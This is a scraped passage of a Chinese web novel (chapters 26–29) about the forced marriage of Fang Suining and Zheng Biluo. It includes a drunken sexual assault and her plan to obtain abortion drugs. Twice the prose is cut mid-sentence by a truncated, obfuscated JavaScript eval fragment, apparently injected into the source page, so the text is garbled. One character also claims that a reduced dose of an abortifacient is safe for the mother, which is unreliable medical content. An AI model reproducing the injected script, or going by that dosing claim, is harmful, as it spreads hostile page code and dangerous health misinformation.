“不错，文武联姻，郑远持能续其阀阅，笼络兵权，果然一桩好买卖。”房遂宁冷笑一声。 蔡溪自知失言，连忙往回找补：“这也只是传言，毕竟他们两家从来没有正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房遂宁看着冷血无情，然而自幼修道，洁身自好的很，平生怕是还没摸过女人的手。当然，抓犯人的时候除外。 想到这里，他叹了口气，看着自己兄弟的眼神里带了几分同情。 “兄弟啊，玉京的这些贵女，个个都是捧在手心里养大的，平日里往来的世家子弟又多，哪里会没点故事嘛?她郑薜萝如今已是你的人，那些前尘往事就不用太计较、对吧……哎，你别喝那么急啊……吃点菜，哎——” 房遂宁倏然起身，面前矮几向前一推，一桌的酒壶杯盏俱被撞翻。他的袍角湿了一大片，直往下滴水。 “不错，她如今是我的人。”他语气阴鸷。 “对嘛，这是当然的！哎你、你要做什么？——” “哐当”一脚，房遂宁踢开挡在面前的桌案，大步流星地出门去了。 蔡溪咋舌：“真是阎罗王转世！不知道的，还以为有人给他裹了绿帻呢……” 26. 第 26 章 月落参横，院子里一方池塘被晚风吹起波澜。花枝被风吹得不住摇晃，月光映照着，在窗上投下欲静难止的影子。 郑薜萝一头长发垂肩，坐在妆台前。 因新婚夫妻二人共赴妙璇庵祈福的良好表现，循园终于重获清净，许久没有房府的人前来打扰。 而自那日从麟趾山回来后，她和房遂宁也已经数日未曾照面。 但她并无心思去管她的夫君在忙些什么。那日在妙璇庵善堂，她陡然意识到一件事——这个月的癸水没有如期而至。 身在房家，她的一举一动都在旁人注视之下，思前想后，只能去找吴妈妈。 吴妈妈得知二月十五那晚发生的一切，半天未能做出反应。 她已不知眼下哪一桩事更加值得担忧：是姑娘她违背宵禁卷入凶杀，还是与未知的男人误尝禁果不慎有孕。总之任何一件事被揭开，都会使郑薜萝的婚姻乃至郑家的声名坠入深渊。 “那、那也不一定是有孕啊……还是要请大夫来——”吴妈妈喃喃着。 “不可，不能请大夫。”郑薜萝面如死灰。 吴妈妈点点头，忽然反应过来：“就算是真有孕，难道不可能是姑爷的么？” 郑薜萝咬着嘴唇，摇了摇头。吴妈妈明白过来，两个人成婚这么些日子，看来是还没有做成真夫妻。 “妈妈，请你帮帮我，帮我去找堕胎的药来。” 吴妈妈猛地摇头：“不、不行！姑娘，那可是虎狼之药，是会要人命的！” “就是要人命才对啊……”郑薜萝的声音发飘。 “还是先告诉夫人。” 吴妈妈说罢，站起身来，却被郑薜萝扯住了袖子：“不，不能告诉母亲！” “可她是你的娘亲，这样的事情，不让她知道怎么行？？”吴妈妈急得破声。 郑薜萝低声：“我行事荒唐，母亲一定对我失望至极……” “这不是姑娘的错，那时……你不是也是神志不清么？！” “可我确实私逃出家门，还犯了宵禁。” 吴妈妈哑然，缓缓坐倒。 郑薜萝握住她的手：“我听说过，只要减少药量，药性便没有那么强，能将胎儿扼杀于萌芽之中而不伤母体，有人尝试过，是可行的。” 吴妈妈皱眉看她：“这种事，是谁教你的？” 会和她说这种事的，除了宁安公主，也不会有其他人了。郑薜萝只是摇头，此时问这个也没有意义。 “妈妈帮帮阿萝，倘若此事暴露，阿萝名节是小，恐怕牵连父亲仕途。” 吴妈妈没了主意，只是不住地摇头：“不、不，一定还有别的办法……” “若妈妈不帮忙，阿萝只能找别人。” 见吴妈妈神色松动几分，郑薜萝又宽慰她，说那药不一定用得上，但不容易拿到，还是必须提前备着，才说动她勉强答应。 白天吴妈妈出门去买药，按照约定，子夜时分会把药送来，这会且微已经按照她的吩咐，在后门候着。 郑薜萝转头，小圆桌上茶盘里，摆着一壶热茶。 想象着自己和着热水吞下那药，胃部开始隐隐抽痛，她垂眸看向自己平坦的小腹，用力按住。 镜中，粉黛未施的一张脸苍白如纸。 窗外的风声益发大了。 房门猛地向内打开，郑薜萝以为是风，站起身来去关门，却见一双长腿跟着迈了进来。 “郎君？” 房遂宁一手扶着门，眼炀骨软地朝她望过来。 郑薜萝看清是他，靠着妆台站在原地没动。 房遂宁像是没认出她似的，转回头去阖上房门，踉跄着走到圆桌边，将手里的东西放了下来——一把酒壶，和一对玉杯。 “房遂宁。” 门已经关上，屋里只有他们两个，郑薜萝干脆直呼其名，“这么晚了，你要作甚么？” 房遂宁双手撑着桌缘，转身看向说话的人。 她穿着一身丁香紫的寝衣，缎面的材质衬出姣好的身段，一头长发垂肩，无半点钗环珠饰。 摇晃的烛火映照着她的脸，面色有些发白，目光警惕地看着他。 他撑了下身后的桌子，几步走到郑薜萝面前。 “你——” 她话未说出口，房遂宁伸手，一把捏住她的下巴。 郑薜萝眉头蹙紧，费力想挣脱，却被他用更大的力道掰回过来，被迫与他对视。 她看出他喝了酒，此刻人就在眼前，与她咫尺距离，滚烫的呼吸拂在她脸上，酒气浓重。 “你做什么？！放开……” 房遂宁确实是醉了，薄而利的眉眼染着一层熏然的红。他仔细地打量着她，好像在看一件刚刚脱胎的瓷器，要从她身上找到什么破绽似的。 她眼神中流露的警惕与恐惧让他松了手。 郑薜萝短暂地松了口气。 房遂宁后退半步，微眯了眼，开始解腰上的蹀躞带。 “啪”一声，蹀躞带扔去一边，摔落在矮榻上，他接着去解颈边的贝母扣，一颗颗向下，外袍领襟随之挂落……做这些动作时，一双眼始终如饿狼一般，死死锁住郑薜萝。 森青色的外袍无声落地。 郑薜萝避开他视线，默默弯腰，将掉在地上的衣袍捡起来，挂上挂架，而后退至门边。 “我叫人进来伺候你沐浴。我去耳房睡。” 手刚碰上门环，房遂宁的手臂已然越过她，抵住了门，另一只手掰过她肩膀，将人翻转过来，困在自己和门之间。 “叫谁？你来伺候。” 郑薜萝按捺着心底的恐惧，抬眼看着他，一字一顿：“你说过，你不会强求——” “我还说过，你要记住自己的身份！”房遂宁断喝一声。 郑薜萝强迫自己与之对视，不要露怯，长睫止不住地颤抖着。 “你、你什么意思？” 不堪一击。比他审过最没用的犯人还要不如。 房遂宁心中冷笑，一把攫住郑薜萝的手腕，将她带到桌边。 “郑薜萝，你是不是以为，我们没有喝过合卺酒，一切就都不作数？” 郑薜萝手腕吃痛，根本说不出话来。 “我想了想，我还是亏了。” 房遂宁拎起不知从哪儿带回来的酒壶，酩酊大醉的人，这会手却稳得出奇，两杯酒迅速满上。他端起一杯，伸到她面前。 “来，把酒喝完。洞房夜没有走完的流程，今天我们把它走完。” 郑薜萝抿紧嘴，把脸扭到一边，身体止不住地打颤。 房遂宁将杯子塞进她手里，她冰凉的手被他滚烫的掌心包裹住，他绕过她手臂，自己仰头先干了。 扔了酒杯，用袖子擦一把唇角漏下的酒液，衣袍半散着，露出赤.裸的胸膛……他知道，此刻的自己和风月场里的那些男人没什么两样。 转头，郑薜萝正一脸怒气地瞪着他，那目光中还有鲜活的恐惧。 她在怕什么呢？她已经是他的妻子，皇天后土作证，还有圣旨加持，她逃不掉的…… 房遂宁戾气横生地笑了起来，用力握住郑薜萝的手，迫着她仰头，将酒强灌了下去。 “咳、咳咳……” 郑薜萝捂住嘴不住地呛咳起来，眼睛已然红了。 房遂宁看她弯着腰，脆弱如一支折断的翠竹，眉眼间的冷厉一瞬间化去了些，伸手要去扶她。 “别碰我，” 郑薜萝后退一步，站直身体。 “你这个反覆无常的伪君子。” 她微扬着下颌，她的眼角和鼻头都是红的，神色中的蔑视却熟悉得叫人恼火。 今日在大理寺，顾亭时质问他时，也是这副神情。 房遂宁面色阴沉，视线微 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房遂宁闭了闭眼，垂眸看向身下的人，眸色漆黑如一滩化不开的墨。 郑薜萝撑着身体，想要坐起来，反倒和他贴得更近。她缩起身体，揪过一旁的被子，伸手推人：“你给我出去！！” “这里是我的卧房，我为什么要出去？” 男人纹丝不动，语气晦涩，“郑薜萝，你以为你真的有退路么……” 他坚实的身躯如一座扑面而来的山，郑薜萝捍不动他，亦看不到半点全身而退的可能，眼中现出一丝绝望。 “你……你这卑鄙小人……” 她嘴角下撇，眼看着就要哭出来。 新婚夜那股陌生的冲动再度袭来，犹如山雨欲来之势将人吞没。房遂宁只感觉自己被一股说不清道不明的破坏欲裹挟着，急欲要毁掉什么东西。 毁掉自己受箓十余年的道心，毁掉自己不沾尘俗的洁身自好，毁掉自己看低俗世男女的那份矜持自傲。 毁掉她。 那夜发生在他身上的一切只是意外，是中毒后神经麻痹失去理智所为，凭什么他要因为恶人的加害而厌恶自己、束手不前？房遂宁酒气上涌，不无恶劣地想，她和别的男人不清不楚，尚且能如此从容地嫁给他，他又何必在乎那么多？ 此时此刻，他只想要她。 青梅竹马？哼！他初见她甚至比那顾亭时还要早多少年！ 占有欲、胜负欲、爱.欲……那些房遂宁嗤之以鼻，从未亲身体会过的东西，渐渐变得具体，在肌肤之下、血脉之中，来回冲撞。 他深吸一口气，循循善诱地唤她的名字。 “郑薜萝，听我说，我们来定个新的规则……” 房遂宁的声音从不曾如此温柔，却绝非与她商量的语气。他要引她和自己一同堕落。 床帐落下，黑暗瞬间将二人笼罩。 他伸手攀上悬着帐的金钩，指腹探到钩尖，一用力，尖锐的痛感袭来，随之而来的还有扭曲的快感。 “你要、要作甚么……你这个疯、疯子……呜——” 郑薜萝突然停止挣扎，然而房遂宁醉得太过了，根本没有察觉。 他的掌心一片滑腻，咸腥的味道从她紧闭的唇缝渗进去。 某一瞬间，仿佛那越轨的一夜重现，她被牢牢压制，被迫尝舐鲜血的滋味，甚至连男人身上清苦的味道都同那夜如出一辙。 “你我之间，要歃血为盟，才算牢靠……” 房遂宁滚烫的呼吸落在耳后，酥麻而痛痒的触感，她难耐的闭眼，直到某种熟悉而陌生的感觉将她笼罩。 犹如初春溪水上的最后一层薄冰，被汹涌的水流荡成碎片，继而融化在汩汩暖流中。 他的头埋进她颈侧，声音发闷。 “……郑薜萝，我都认出你了，你、不记得我了么……” 27. 第 27 章 从某刻开始，郑薜萝便陷入一片空白。 身体的记忆比大脑更为敏锐，那毫无章法的动作，还有男人将头埋在她颈侧，渴求的闷哼声……一切都将她的记忆唤醒。 纠缠到最后一刻，房遂宁松了力道。不知是因为醉得深了，还是她的状态叫人心软，他终是没有继续进逼。 她听见他口齿不清地说，认出了她。那一夜，她在山里遇到的根本不是什么道长，而是阎罗。 身体益发酸胀，小腹隐隐作痛。还好只是一场虚惊，她并未有孕。 郑薜萝冷静地想，忧心的两件事，至少少了一件。 随之而来的是更大的荒谬感。她和房遂宁，这算是孽缘么？ 男人趴伏在她胸口，昏沉睡去，仿佛那夜的场景重现。郑薜萝强撑着无力的四肢，将人缓缓推开，坐了起来。 她转头望着床榻上的一片凌乱。刚发生的一切犹如一场暴风雨，平静来得猝不及防。 且微进门看见满屋狼藉，吓了一跳。 屋子里充斥着浓重的酒味，屏风歪倒在地上，衣衫散落一地，拔步床上帐帘低垂，一点动静都无。 她听见浴房里有水声，快步走进里间。 郑薜萝半倚在浴桶边缘，正机械地擦拭着手臂，一下又一下。 水滴顺着她的鬓边的碎发滑落，砸在水中，漾起波纹。寝衣揉成一团扔在地上，有几处明显是被撕破了。 “娘子！这是怎么回事？？” 郑薜萝垂着眼，声音发哑：“没事。” 水汽氤氲中，她的眉眼淡得没什么颜色，裸露在外的脖颈和四肢上，遍布醒目的红痕。 “怎么会没事？郎君是喝酒了么？屋里这么大味道……” “真的没事，”郑薜萝看了一眼她手里拿着的东西，淡淡道，“放那吧。” 且微将药包放下，走过去，陡然瞥见郑薜萝缎面罩袍下裸.露在外的大腿，一道醒目的血痕，惊呼：“您受伤啦？？” “无妨，是癸水。” 她这才微微松了口气，眉头紧接着皱起来。郎君怎么这样没轻重，娘子身体不适，还偏要硬来。 “你去吧。我自己来就好。” 郑薜萝从浴桶中爬起来，视线落在地上那一团惨不忍睹的衣物上。 她弯下腰，把它捡了起来，将裤子浸进水里，一下下揉搓着。 明明已经破成那样，根本不可能再穿了，她也不知道自己为什么要做这样无谓的事情。 她的嘴角泛起苦笑，最后索性松了手，看着那惨不忍睹的裤子就这么泡在水里，缓缓沉入水底。 外面有人敲门。 “进来吧。” 以为是且微回来了，郑薜萝披上外袍，转身，面色微凝。 来的是裴夫人身边的大丫鬟晚翠。她向郑薜萝屈膝行礼：“娘子，夫人请您过去一趟。” “现在？” 晚翠点点头，平声道，“章太医来给夫人请平安脉，听闻少夫人近来身体不适，便请您去一道看看。” “知道了。我换个衣服便过去。” - “少夫人这是因肝郁气滞，冲任失调，至经行先后无定期。” 纱帘外，章太医收回手，看向一旁的裴夫人。 “我给少夫人开两个方子，行经期间和结束后各服一种。只要好好调理，不是什么大碍，夫人不必担心。” “有劳章大人了。”裴敏视线落向纱帘后，面色复杂，“我这儿媳乖巧懂事，从不让长辈操心，突然有恙，也着实让我紧张了一下……” 章太医表示理解：“少夫人这个状况，在同岁的女子中颇为常见，尤其是刚刚新婚，换了环境，心绪也会影响身体的表征，等适应了就会好的。” 他捻着一把灰白的髭须，又道，“还有就是，郎君的关怀也很重要。夫人是过来人，应当懂得……” “休说我那逆子，提起就让我头疼。”裴夫人扯了扯嘴角，却没什么笑意，转头看向秦嬷嬷，“请章大人去偏厅喝茶。” 章太医摇头：“夫人不必客气，下旬还是这个日子我再来给您把脉——太医院还有会诊，今日下官就先回去了。” 郑薜萝自帘后低声道：“叫母亲担心，还让章大人受累，媳妇实在惶恐。” 章太医笑起来，连连摇头：“都是自己人，少夫人莫要客气，养好身体才是第一要务啊。” 待人离开，纱帘挽起，郑薜萝从内室缓缓走出来。 “已经让他们去煎药了，娘子稍坐一坐，等服了药再走。” 秦嬷嬷说罢，走去将厅门阖上。 “面色还是不大好看。” 裴夫人的视线落在郑薜萝的脸上，语气淡淡。 “让母亲挂心了。”郑薜萝垂眼，“只是小事，还惊动了章太医。” “章行俭是房家的表亲，算是自家人，”裴夫人看着儿媳，“——你来循园，已经有一个月了吧？荪桡他待你怎么样？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑薜萝迎着上位者的目光，深吸了口气，正要说话，紧闭的厅门忽被推开了。 “桡哥儿？” 房遂宁迈步进来，扫视屋内一圈，最后停在郑薜萝苍白的脸上，眸光微沉。 但他很快便移开了视线，看向首座。 “母亲，药是我叫吴妈妈去买的。” 28. 第28章[加更] 虽然不声不…… “……什么？！”裴夫人愕然。 秦嬷嬷一脸惶惑：“桡哥儿，你、你知道自己在说什么么？” “儿子在刑部整日血雨腥风，做惯了孤家寡人，做人夫已是勉强，做人父则不宜……” 房遂宁声线发沉，“儿这样的人，手上杀伐深重，恐祸及子孙，索性不做此想——” “住口！！”裴夫人怒喝。 “桡哥儿慎言，你这话说的，可是在往夫人的心上扎刀啊！” 秦嬷嬷痛心疾首，“那些都是嫉妒咱们的小人恶毒诅咒之语，怎可当真？！刑部又怎么了？左尚书和咱们姑奶奶不也是夫妻和睦，又有一儿一女，好事成双么！” “你这竖子，是要成心气死我！”裴夫人捂着胸口，怒不可遏，“你要是想作孽，不如先从我下手！把我这条老命送走！我眼一闭，便什么都随你们！！！” 房遂宁背着手直挺挺地站着，一言不发。 秦嬷嬷快步去到裴夫人身边，帮着她拍着后背顺气，不住安抚道：“桡哥儿这是说气话呢，和娘子成婚这段时间，两个人不一直都挺好的么，还一起去寺里祈福……是不是？” 房遂宁阴沉着脸，依旧不接话。 “夫人，娘子……药来了。” 丫鬟端着托盘从外面进来，看里面的气氛，停在门外一时不敢动。 秦嬷嬷忙道：“进来吧。” 房遂宁的视线在那托盘上冒着热气的药碗停了一下，眉头蹙紧了。 “郑薜萝，你——” 他的声音倏而哑在嗓子里。 郑薜萝抬眼，他那双狭长的眼睛里布满了血丝，似乎还未彻底从余醉中彻底醒来……她平静收回视线。 裴夫人瞪着儿子，恨声道：“她没怀孕。你这逆子，满意了吧？！” 房遂宁闻声，眸光更沉。 裴夫人胸口剧烈起伏着，脑中的念头百转千回。本来已经想好，郑薜萝敢犯下大逆不道之举，她便有理由将房家摘出来，大不了鱼死网破。她一直按捺着，等到且微拿到了药人证物证俱在，谁料意外一重接一重，先是儿媳并未有孕，现在儿子又冲出来，将过错全部揽到了自己头上。 今日若不能妥善解决，倘若让郑家得知闹了出去，不仅会让房家背负欺负新妇的恶名，更有甚者，会坐实了他们阳奉阴违，不尊圣谕。那便不是小事了。 她一手指着房遂宁，咬着牙厉声道：“我吃斋念佛，谁料养出这么一个活阎王，对自己的孩子都能下得去手？！！早知如此，何必祸害别人家的女儿？！你这逆子，只知道纵欲享乐，却不肯做个男人负责，你、你……” 房遂宁耳根涨红，抿着唇一语不发。 他直到现在仍旧有些恍惚，头还在隐隐作痛，醉酒恐怕是最愚蠢的放纵行径了，让人神智失灵，身体麻木。醒来时恍惚了半天，都没能想起昨晚发生了什么，直到视线落在榻上的一团凌乱，登时醒透了。 他以为自己不知轻重伤了郑薜萝，却不见房中有人，喊人来一问，方知少夫人一早便被夫人叫去了。他心知不好，便匆忙赶来了岁安堂。 到门外时，正好听见裴夫人怒气冲冲的质问。 她既然没有孕？为何…… 裴夫人狠狠瞪了他一眼，站起身来，走到郑薜萝面前。 “薜萝，是母亲错怪你。你和这孽障在一起，着实受委屈了。你先养好身体，切莫落下病根。”她眼底闪动着泪光，语气十分诚恳。 她转头看向房遂宁，咬牙道，“是我教子无方，若薜萝你实在不愿再与这孽畜一道，我和老爷去圣人面前告罪，允准让你们和离！” 厅内众人闻言，俱是一脸惊愕。 郑薜萝垂着眼，只是沉默。 岁安堂在房府的最东边，清晨第一缕日辉照进屋内，走廊上响起下人的轻微有序的脚步声。 一夕之间，发生了太多变化。 成婚前的那一夜，郑远持说要为她托底，告诉她：倘若真的不开心，便让房家写一纸和离书来。 孰料，这一天竟来得如此之快。 机会已经交到她的手里。向前一步，或许就能重获自由？ 清晨的阳光带着融融的暖意，将郑薜萝包裹其中，身体的不适似乎轻了不少，头脑也跟着清醒。 她抬头，看向主座的人。 所有人的目光都落在郑薜萝身上，一时间落针可闻。裴夫人捻动佛珠的手指不觉停了下来。 方才这一番话以退为进，看似是把主动权交到了郑薜萝的手里，然而倘若她同意，实则是将结束这桩婚姻的把柄，推向了她身后的郑氏。 毕竟高门后院的秘辛，并不足以成为呈堂证供。他们成婚方才一月，这桩婚姻一旦破裂，过错一方是谁很难分得清楚。 若不能全身而退，便不值得。 郑薜萝视线微动，看向面前神色复杂的人。 “郎君确实觉得，与我做夫妻，过于勉强了么？” 房遂宁眉峰微拧。眼前人这副病骨支离，楚楚可怜的样子，如芒刺在背，叫他无法正视。 虽然他方才斩钉截铁地表示，自己做惯了孤家寡人，为人夫已是勉强，实际上，他却捕风捉影，因为对她近乎偏执的占有欲，犯下那样暴虐的行径。 如她所言，他不过是个反复无常的伪君子。 “我……” 裴夫人听郑薜萝口吻，心中松一口气，见儿子仍在犹豫，登时怒容：“混账东西，还不赶紧向薜萝道歉求她宽恕！若不能好好过日子，就给我去跪在亲家门前请罪罢！” 房遂宁正要说话，却听郑薜萝淡淡道：“这也不怪郎君，本来我也并非他心中的妻子人选。” 他面色一僵。 裴夫人在一旁冷眼打量着，郑薜萝半点粉黛未施，更显双瞳如秋水，一副楚楚可怜的样子。荪桡 自幼修道，何曾让女人近过身，如今娶进门的这位虽然不声不响，却自有一副媚骨，叫他食髓知味，偏偏又不欲她有孕。 这儿媳妇可真是够能忍的。 想到这里，她凤眸微敛：“药刚煎好，须趁热服——且微，还不赶快服侍你主子？” 且微惊魂未定，见命快步上前，从托盘上端起盛着药的碗，拿着汤匙的手却止不住地哆嗦。汤匙控制不住地撞着碗壁，发出叮叮当当的声音。 “这丫头，怎么胆儿这么小的！桡哥儿，还是你来喂你娘子？”秦嬷嬷在一旁打圆场。 房遂宁怔了怔，从且微手里接过药碗，在郑薜萝旁边的椅子上坐下。 郑薜萝看清他端碗的手也有些发抖，很快稳住了。 人靠近过来时，还能闻到他身上残留的淡淡酒气。 她换上了一件湖水绿的对襟襦裙，盘扣束到领口，白皙的脖颈只露出一小截在外。 房遂宁视线上移，目光一紧。 隐约可见一道红痕，自衣领处露出来。 “对不住。” 他用只有自己能听清的声音，舀起一勺汤药，送到她嘴边。 郑薜萝没听见似的，平静地低下头，抿了一口，紧接着蹙起眉头。 好苦。 房遂宁也跟着皱眉，转头问：　“这是什么药？这么难闻。” 秦嬷嬷低声道：“是调理身体的。方才章太医说，娘子是思虑过甚，可能是这段时间还没完全适应。郎君也该多陪陪娘子，温柔一些……” 她目光隐晦地扫过郑薜萝的衣领。 房遂宁沉着脸，耳根的红依旧未褪，动作却一丝不苟，一匙匙地将药喂到人嘴边。 郑薜萝接连饮下好几匙，苦味在口中堆积，连舌头都没了知觉。又一勺递到嘴边时，实在忍不住，微偏了头。 “有糖么？”房遂宁放下汤匙，转头看向且微。 “……哦、有的！” 且微摸向腰边的布袋子，里面装着松子糖——是吴妈妈走时特别嘱咐的，说娘子喜欢吃甜食，可随时替她备着。 “不用了。” 郑薜萝摇头，拿过房遂宁手里的药碗，一口气将剩下的药喝完，举起帕子掖了掖唇角。 房遂宁将药碗搁回托盘。 裴夫人看了儿子一眼，冲着郑薜萝缓声道：“儿媳妇，你先回循园好生养着。” 郑薜萝想要起身，腿一时酸得厉害，没起得来。 房遂宁刚要伸手，她已经扶着凭几站了起来，向着裴夫人行了一礼。 “那媳妇便先告辞。” 她再没朝他看一眼，由且微搀扶着迈出门槛时，动作尚有些迟钝。 房遂宁也起身要走，被裴夫人叫住：“荪桡，你留一下。” 房遂宁定了定神，折身回来，按着性子道：“母亲还有何吩咐？” “往后，和郑薜萝，你到底是怎么想的？” 房遂宁皱眉：“母亲何意？” “眼下的局面，” 裴敏目光扫了扫门外的方向，语气冷静了不少，“你们二人，一时是解不了绑的。” 房遂宁撩起衣袍，在就近的椅子上坐下。 看儿子肯耐心听，裴夫人叹了口气，语气依旧带着几分责备：“你向来不饮酒的人，却喝成那个样子，大半夜才回家——我们知道你对郑薜萝没有心思，你父亲又何曾满意这个亲家？只是再不悦，也要先忍耐着，等时机成熟，再寻办法。” “再寻什么办法？”他冷冷掀眉，反问。 “哎呀，此事着急不得！！” 裴夫人看着他薄情冷峭的眉眼，火气突然压不住了。她还是后悔将儿子那么小便送出去修道，以为成了婚一切都水到渠成，今日看郑薜萝那副状态，房中该是吃了他不少苦头。 男人食髓知味，传出去又有什么好听的。 “你不喜欢她，就别碰她。倘若再做出这等作孽的事情，你就去祠堂给我跪上三天三夜，向房家的列祖列宗、向荪荃的在天之灵，去请罪吧！” 房遂宁倏然起身。 “怎么好好的又吵起来？夫人，桡哥儿他也不是那个意思……”秦嬷嬷赶忙打圆场，一边将丫鬟手里的参茶端过来。 裴夫人接过茶，抿了一口，气息稍稍平复了些：“倘若在刑部任职真有那么多的不好，等休假结束，就调去户部吧。” 房遂宁不说话，眉眼讥嘲。 “……当年你选刑部我就不赞成，户部的条件乃是众所向往，你偏不选，非要去那杀戮之气甚重的刑部！若非老太太出面，说听你的，你父亲最后才同意了……眼下六部所属分工已经重划，刑部归在了郑远持的辖下——你也不想整日在你那老丈人手底下受气吧？” “母亲以为，当初儿子为何选择刑部？” 裴夫人一怔。 “当年荪荃惨死，凶手遁逃十五年未曾现身，为了让兄长不枉死九泉之下，儿子才选择去刑部。如今我的选择，更不可能因为任何人而改变。” 十五年前那桩旧事，是横亘在房家人心中的一根刺。从房遂宁结束修行回家之后，所有人都绝口不提。 然而当事人从未曾真正的走出来过。房遂宁这些年依旧孤僻地坚守着，执着于真相。 “荪桡，”裴夫人声音发颤，“你……到 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房遂宁语气冷冽：“跟踪刑部官员家眷、监视官邸，有违大祈刑律，请母亲还循园一个清净。否则，我定要追究。若母亲没有旁的事，儿便先告辞了。" 他说罢，起身出了门。刚迈出门槛，在廊下站定了。 “还有，儿暂时没有和郑薜萝和离的打算。” 房遂宁顿了顿，“就像母亲说的，眼下并不是合适的时机。府里对她，也应如少夫人般礼敬才对。” 裴敏坐倒在椅子里，望着儿子修长孤峻的身影消失在视线中。 - 郑薜萝乏得厉害，回到屋中，便由且微扶着躺了下来。 外面闷雷滚滚，雷声持续了许久，还是一滴雨都未落下来。 且微把窗户都打开透气，转头见郑薜萝神色委顿，便走到她旁边，蹲下.身。 “方才那药是不是很苦？娘子要喝点什么甜汤么？” “不必，”郑薜萝摇头，“还是闷得厉害，你给我扇一扇吧。” 且微拿出扇子，却迟疑：“娘子是不是……不能吹风啊？” 说罢便站起来，想将方才打开的窗子重新阖上，被郑薜萝止住了。 “你在紧张什么？” 她哭笑不得，“我只是来了癸水，又不是旁的，怎么就吹不了风了？” 且微愣了愣，这才意识过来。她还真的以为郑薜萝滑胎了。 她走回郑薜萝身边，眼圈发着红：“方才真的，吓死奴婢了……” 郑薜萝伸手，摸了摸且微的头发。 她知道，这丫头害怕的，并不是裴夫人和秦嬷嬷的疾言厉色，而是自己这般无所依靠的处境。 “姑娘……” “想问便问。” “吴妈妈送来那药……真的是，打.胎药？” 郑薜萝一经她提醒才想起来，正色道：“过两日去给吴妈妈捎个口信，就说我没事了，免得她担心。” 且微愣愣地点头，又问：“那……姑爷为何要在夫人面前那么说？” 郑薜萝闭了闭眼。想到那个人，脑子里便成了一团乱麻。 “吱呀”一声，房门推开了。 且微站起来，见门外站着房遂宁，忙道：“郎君，娘子她歇了。” “你先出去，把门带上。” 且微无奈，转头看贵妃榻上面色苍白的人。郑薜萝冲她微微点头，示意她没事。 房门阖上，房遂宁在门口的位置站了半晌，缓缓朝郑薜萝走过去。 他在两步之外站定，没再继续向前。 “你……怎么样？” 郑薜萝撑起身子坐了起来，她四肢尚有些发软，两条腿垂在榻缘，抬头看他。 她不说话。他疏朗的眉目逐渐现出几分局促。 “昨晚、是我的错。” 她看着房遂宁，他站在那里，仅仅那副挺拔的身段便让人不得不被迫仰视。 “你坐下吧。” 郑薜萝转开脸。已经浑身酸痛了，不想脖子也跟着酸。 房遂宁拉过一只矮凳，坐在她对面。还是保持着一段距离，语气更多了几分小心翼翼。 “你现在感觉如何？” 郑薜萝视线微动，房间另一头那张华丽的拔步床上，床褥已经换新，枕被叠放得整整齐齐。 只是仔细看，那挂在金钩上的锦缎帐幔上，还有不易被察觉的血渍。 这人疯起来，实在是太过吓人。 他们一旦靠近彼此，好像就会产生某种奇异的反应。房遂宁禁欲自持，不近女色，可面对郑薜萝，往往只要一点火星，便可能失控，以致难以收场。 或许人与人之间共处的气场，从第一次相遇便定了调。郑薜萝想。 “你是何时认出我的？”她轻声问。 房遂宁一愣，继而回忆起一些昨夜疯狂的片段。好像他的确曾不甘地问她，为什么不记得自己。 “是因为回门那天，你说的话，我才认出来的。” “……回门？” 房遂宁深深凝视着她：“八年前，在眉津渡，我见过你。” 郑薜萝两只手撑在身侧，也看着他，一脸迷茫。 他说的“认出”，和她理解的好像不是一回事。 “八年前？” “是我来玉京的那一年？” 房遂宁颔首。 八年前，眉津渡……她走过千千万万的水路，坐过各式各样的船，从江北到江南，从河西去河东，遇见过形形色色的旅人。但眼前的房遂宁，她真的毫无印象。 29. 第 29 章 “算了，不重要。” “你……当真没有身孕？” 郑薜萝摇了摇头，见房遂宁依旧神色踟蹰，淡淡道：“你不信我，章太医的话也不信么？” “我没有不信你。只是——” “你为什么要在母亲面前替我隐瞒？为什么不问我药的事？你昨晚为何……要那样？” 郑薜萝的脸上依旧没什么血色，两只手撑在身侧，就那么仰头看着他，肩峰的骨头隔着单薄的衣衫突起来，像红绡蒙着的灯笼骨架。 而那盏灯笼不知何时早已灭了，一丝温度也无。 房遂宁皱着眉，哑口无言。 是他约法三章，说得清清楚楚明明白白，他们只需要做好表面功夫，让长辈满意便可，结果他却因为醋意对她施为暴力，他没有立场问她为什么要去买药，他也不敢说，自己喝成那样是为什么…… 如今在郑薜萝的面前，他已然成了失信之人。 “我昨晚，是不是弄疼你了？” 郑薜萝抿着唇看他。 她不说，房遂宁也不知道自己到底进犯到了哪一步，又不能冒昧去问更多的细节，他揉了把脸，烦躁地站起身，在偌大的卧房内像没头苍蝇一样来回走了好几圈，才终于站定。 “昨夜是我混账，我、我愿意承担——不是，我是说……我向你保证，像昨夜那样的状况不会再发生。” 郑薜萝没说话。显然对他口中的“保证”和“约定”之类的话，已经没什么信任。 房遂宁耳根红着，又道：“以防万一，只要回循园，我会确保自己是滴酒不沾的。” 郑薜萝的眉毛以极轻的幅度扬了扬，依旧没有发表意见的势头。 “你也看到了，循园的一举一动，父亲母亲他们始终在关注。你我像从前那样分房别住，可能不现实。”说到这里，他的语气有些不自然。 “所以呢？”郑薜萝总算开口了。 “所以，往后我还是回到房里睡。” 房遂宁看向房间另一头的拔步床，语气克制，“被褥和枕头已经让他们换过了。从今日起，你睡床，我睡这里。” 他指的是她坐着的那张卧榻。 “随你。” 郑薜萝的神情和方才在岁安堂时，一脸哀怨地问他“与我做夫妻，过于勉强了么”的那个她完全两样。 此时的她，极致冷静，看不出一丝情绪。 房遂宁沉默了一会，沉声道：“我会对你负责的。” 郑薜萝的面上总算有了极淡的反应。 “成婚前，我就听说房家少郎君自幼修道，一向谨身自持，与那些风流纨绔的豪门子弟不同。我虽然不曾认识你，但想必出身教养摆在那里，起码是能说到做到的。” 她的声音柔柔弱弱，话锋却是锐利的。房遂宁听她提及“出身”，眸色微微冷下来。 